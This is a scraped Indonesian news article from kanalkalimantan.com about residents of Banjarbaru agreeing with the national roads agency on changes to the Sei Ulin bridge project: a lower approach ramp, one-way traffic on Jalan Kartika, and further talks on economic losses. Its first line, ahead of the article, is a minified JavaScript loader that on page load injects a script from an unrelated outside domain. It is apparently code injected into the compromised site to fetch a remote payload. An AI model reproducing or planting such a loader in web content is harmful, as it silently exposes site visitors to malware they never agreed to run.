(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Warga terdampak proyek pembangunan Jembatan Sei Ulin Jalan A Yani Kilometer 31,5 Kota Banjarbaru mencapai kesepakatan dengan Badan Pengelola Jalan Nasional (BPJN) Kalimantan Selatan.
Setelah BPJN Kalsel menggelar pertemuan dengan warga terdampak, Pelaksana Lapangan Proyek Jembatan Sei Ulin, Bustanul Ariffin mengatakan, pembangunan sisi barat jembatan yang berbatasan dengan rumah dan toko warga akan kembali dilanjutkan.
“Karena kemarin fokus pengerjaan sebelah timur namun karena sudah disepakati elevasinya. Insyaallah pengerjaan sisi barat jembatan langsung dilanjutkan,” ujar Bustanul Ariffin saat diwawancarai, Rabu (6/8/2025).
Dalam pertemuan itu, dua poin terkait masalah teknis dan masalah dampak sosial telah disepakati oleh pelaksanaan pembangunan bersama dengan warga terdampak yang masuk wilayah Kelurahan Guntung Payung, Loktabat Utara, dan Guntung Manggis.
Baca juga: Wakil Bupati Kapuas Hadiri Rakor Karhutla Provinsi Kalteng
Untuk masalah teknis, Bustanul Ariffin bersama tim menyampaikan saran perbaikan terhadap aspirasi warga terdampak, seperti akan dilakukan penurunan elevasi oprit jembatan sebelah barat yang sebelumnya hampir menutupi rumah warga.
“Kepada warga kita sampaikan konsepnya seperti apa. Dimana aspirasi warga minta diturunkan elevasinya, agar jalan akses ke rumah mereka lebih mudah dan nyaman,” ungkapnya.
Pelaksana Lapangan Perbaikan Jembatan Sei Ulin, Bustanul Ariffin. Foto: wanda
“Kita sudah lakukan beberapa simulasi perhitungan bagaimana pengguna jalan masih dapat lewat dengan aman dan nyaman serta warga pun aksesnya tetap nyaman,” tambah dia.
Baca juga: Indeks Optimisme 2025: Kelompok Muda Kalah Optimis dari Generasi Lebih Tua
Mereka bersepakat untuk menurunkan elevasi jembatan kurang lebih 30 centimeter, sehingga rencana oprit dibuat lebih landai.
Kedua masalah dampak sosial lingkungan ini telah disepakati dengan dua penyelesaian oleh warga.
“Pertama Jalan Kartika dari usulan masyarakat dibuat jadi satu arah saja, tidak dua arah agar mengurangi beban lalu lintas. Kedua rencana kita tempatkan satu petugas menjaga di situ jadi orang tidak bisa seenaknya masuk,” tambahnya.
Terakhir terkait permasalahan dampak ekonomi warga, kata dia, dikoordinasikan terlebih dahulu kepada pimpinan. Dan kembali akan dijadwalkan ulang, terkait pertemuan dengan warga membahas dampak ekonomi ini.
Baca juga: Bikin Onar Tengak Miras di Bundaran Kamaratih, 15 Remaja Diangkut ke Mapolsek
Sementara Budiono, salah satu warga terdampak mengatakan, warga telah mencapai kesepakatan dari sisi masalah teknis keluhan akses jalan, terkecuali solusi dampak ekonomi.
“Karena memang kami paham dampak ekonomi ini tidak bisa diputuskan di tempat tetapi kami tidak ingin terlalu lama terhadap masalah ini, sehingga sudah kita jadwalkan untuk rapat membahas ekonomi akan dilakukan pada hari Selasa,” ujar Budiono.
Budiono, salah satu warga terdampak. Foto: wanda
Warga berharap pelaksana pekerjaan perbaikan jembatan bisa hadir dan membuat keputusan. Di sisi lain juga warga mengharapkan kehadiran stakeholder instansi terkait hingga perwakilan rakyat dapat duduk bersama menyelesaikan masalah ini.
Baca juga: Hindari Sengketa Tanah Wakaf, BPN – Pengadilan Agama Banjarbaru Jalin Kerjasama
“Terutama instansi terkait perwakilan rakyat daerah bisa mendampingi kami, karena kami tidak ingin masalah ini berlarut hingga besar dan kompleks, akan semakin sulit diselesaikan,” ungkapnya.
“Sementara kita sama-sama punya hajat haul bulan Desember, kita ingin pada waktu haul jembatan sudah bisa dioperasikan,” tambahnya.
Masih kata Budiono, warga merasakan dampak besar kemacetan yang terjadi khususnya Jalan Kartika yang dilewati masyarakat sebagai jalur alternatif.
“Kita tadi lihat pada jam yang tidak sibuk pun lalu lintas Jalan Kartika tidak berhenti, sehingga kami harapkan kemacetan yang mempengaruhi aktivitas warga sehari-hari di sana dapat diselesaikan,” tutup Budiono. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editior: bie
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
This website uses cookies.